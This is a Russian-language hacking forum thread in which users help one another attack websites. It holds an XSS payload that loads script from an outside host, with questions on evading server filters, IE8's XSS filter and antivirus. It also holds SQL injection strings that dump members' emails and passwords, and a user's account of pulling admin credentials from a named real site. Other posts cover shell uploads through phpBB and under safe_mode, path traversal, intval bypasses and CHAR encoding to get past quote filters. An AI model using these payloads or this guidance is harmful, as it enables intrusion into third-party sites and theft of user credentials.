можно всё что хочешь туда добавить, но как сказали выше - там стоит фильтр. Что-то типа /\d+/ или же (int)$_GET['some_param']. А ранее проверяется на вхождение в строку кавычки. upd. ты к нормальной("существующей") странице добавь какие-нить буквы/символы. Если отображается всё тоже самое, то там стоит фильтр.
Фильтр пропускает только числа. http://gigwarez.ru/page/12,34,45/ => 12 http://gigwarez.ru/page/12blabla/ => 12
Code: http://site.ru/?a=10\"<script src='http//site.co.cc/xss.js'></script> 1)как обойти в данном случае фильтр на сервере? Пробел не проходит (точнее не фильтр, а какая то странная ошибка c обрубанием ссылки после пробела и вывода текста: [Bad Request Your browser sent a request that this server could not understand. The request line contained invalid characters following the protocol string.] Вариант замены пробела на "/" или "/**/" не проходит в chrome, что обидно Во всех остальных браузерах срабатывает. 2) как обойти xss фильтр в IE8 в данном случае? 3) как обойти в данном случае антивирус ESET Nod 32? На домены вида *.co.cc он ругается Подскажите варианты P.S. Также нельзя использовать ";", возможно ещё что-то.
Ситуация следующая, на ресурсе присутствует sql-иньекция. Подскажите как вывести всю нужную информацию, а не только часть? Пример запроса: test.ru/test.php?id=-40+union+select+1,group_concat(0x3a,mail,pwd),3,4,5,6,7,8,9+from+members--
Code: test.ru/test.php?id=-40+union+select+1,(select(@x)from(select(@x:=0x00),(select(0)from(members)where(0x00)in(@x:=concat(@x,0x3c62723e,mail,0x3a,pwd))))x),3,4,5,6,7,8,9--+
спасибо, вот только серв упал Возможно ли вывести данные по частям? Чтобы не сильно нагружать сервер. Пробовал использовать limit, но безрезультатно
Получаемый массив данных не должен превышать одного мегабайта, иначе тянуть только стандартными методами.
а что тебе мешает спарсить данные в цикле лимита? элементарный парсер на пхп, указываешь максимальный лимит и все, стукни в пм с ссылкой, подкину тебе парсер настроенный под твой сайт.
Где-то читал, что с какой-то версии php нуллбайт в файловых функциях(чтение, инклюд, запись, аплоад) больше не работает. Так ли это? Если да, то с какой именно версии?
Тут вопрос такой) http://www.gilmanpastor.com/admin/login.php Достал через скуль мыльники и пассы админов... Но войти не могу в админку... Что за третее поле не могу понять пост параметр byteme что в него вводить хз) в бд ничего не нашол = \
Есть ли тут скуль? И можно ли в наше время обойти intval() и просто одинокий (int)? PHP: $albumID = (int) $_POST['act_album']; if ($_POST['update']){ check_admin_referer('ngg_album'); if ($_POST['newalbum']){ $newalbum = attribute_escape($_POST['newalbum']); $result = $wpdb->query("INSERT INTO $wpdb->nggalbum (name, sortorder) VALUES ('$newalbum','0')"); if ($result) nggGallery::show_message(__('Update Successfully','nggallery')); } if ($albumID > 0){ // get variable galleryContainer parse_str($_POST['sortorder']); if (is_array($gid)){ $serial_sort = serialize($gid); $wpdb->query("UPDATE $wpdb->nggalbum SET sortorder = '$serial_sort' WHERE id = $albumID "); } else { $wpdb->query("UPDATE $wpdb->nggalbum SET sortorder = '0' WHERE id = $albumID "); } nggGallery::show_message(__('Update Successfully','nggallery')); } }
то на сколько я понимаю у тебя уязвимость в переменной $albumID так как она никак не фильтруется, следовательно можно выполнить SQL-инекцию
Хе-хе, ты ошибаешься. PHP: $albumID = (int) $_POST['act_album']; В переменную albumID не попадет ничего кроме чисел. PHP: $newalbum = attribute_escape($_POST['newalbum']); Если я правильно нагуглил эту ф-цию из WP, то и тут тоже скули нету. intval() можно обойти только если он присутствует в условии, к примеру такой код: PHP: <?php $id = $_GET['id']; if( intval($id) ) // if( (int)$id ) echo $id; else echo 'error'; ?> Exp: .php?id=123' Return: 123' Если наш параметр начинает с числа, то intval() пропустит и в самом запросе переменная уже не фильтруется => SQL-inject возможен при таком условии. С is_numeric такое не прокатит. PHP: if (is_array($gid)){ $serial_sort = serialize($gid); $wpdb->query("UPDATE $wpdb->nggalbum SET sortorder = '$serial_sort' WHERE id = $albumID "); А вот здесь вот провести SQL-inject вполне возможно... При условии что $gid можно манипулировать или переопределить через register_globals. Вот проверил на локалке с таким кодом: PHP: <?php $gid = $_GET['id']; if (is_array($gid)){ $serial_sort = serialize($gid); } echo "UPDATE SET sortorder = '".$serial_sort."' WHERE id = 1 "; ?> Exp: test.php?id[]=asd";}'+WHERE+id=1--+ Return: UPDATE SET sortorder = 'a:1:{i:0;s:21:"asd";}' WHERE id=1-- ";}' WHERE id = 1 Need: magic_quotes=off Комментом мы обрезали оставшийся кусок и в принципе должно работать...
Народ) 2 вопроса... Вообщем первый по phpbb 3.0.7-PL1 залитие шелла через админ панель Де то вычитал способ через востановление бд.. но тут трабла Захожу в Maintenance ---------- Database> Restore Получаю текст Code: There are no items yet. т.е. как я понял востановить бд нельзя... Просто есть пару админок пхпбб) незнаю как залить шелл... = \ 2. Вопрос...и совершенно другой хост Вообщем есть скуль... читение фалов через скуль и т.д. но только через CHAR. Как я понял safe_mode ON Так же есть доступ к PMA, знаю полный путь к папкам доступным на запись... подскажите как залить шелл... просто не сталкивался с safe_mode ON
инклуд не инклуд Наткнулся на код, в котором значение из $_GET напрямую передается в класс PhpThumbFactory::create.. В этом классе происходит проверка на валидность входного IMG файла.. Т.е, если я подставляю: ?filename=/../../1.jpg , отображается соответственно сама картинка, находящаяся в корне.. При попытке прочитать реальную JPG, GIF, PNG, читается из любого места.. А вот прочитать файл другого формата не удается, все это проверяется, и мозгов у меня пока не хватает, чтобы сделать какие либо выводы.. PHP: <?php //reference thumbnail class require_once('includes/thumbs/ThumbLib.inc.php'); if (!isset($_GET['filename'])) { exit; } if (isset($_GET['width']) && is_numeric($_GET['width'])) { $width = $_GET['width']; } else { $width = 0; } if (isset($_GET['height']) && is_numeric($_GET['height'])) { $height = $_GET['height']; } else { $height = 0; } $thumb = PhpThumbFactory::create($_GET['filename'], array(), false, 1); $thumb->resize($width,$height); $thumb->show(); $thumb->destruct(); ?> Существуют ли методы обхода, или как можно заставить PHP код выполниться в реальном IMG файле? И вообще, уязвимость ли это, или просто фича? php 5.3.6 З.ы.:magic_quotes_gpc=Off, З.ы.ы.: Проверка идет по mime типу и еще по нескольким параметрам..
Есть Бд с именем fotoforum Делаю запрос PHP: table_name+from+information_schema.tables+where+table_schema=fotoforum Он возвращает ответ Unknown column 'fotoforum' in 'where clause' Как это понять??
Нужно так: Code: SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA='fotoforum' Если же фильтруются кавычки, можно зачарить: Code: SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=CHAR(102,111,116,111,102,111,114,117,109)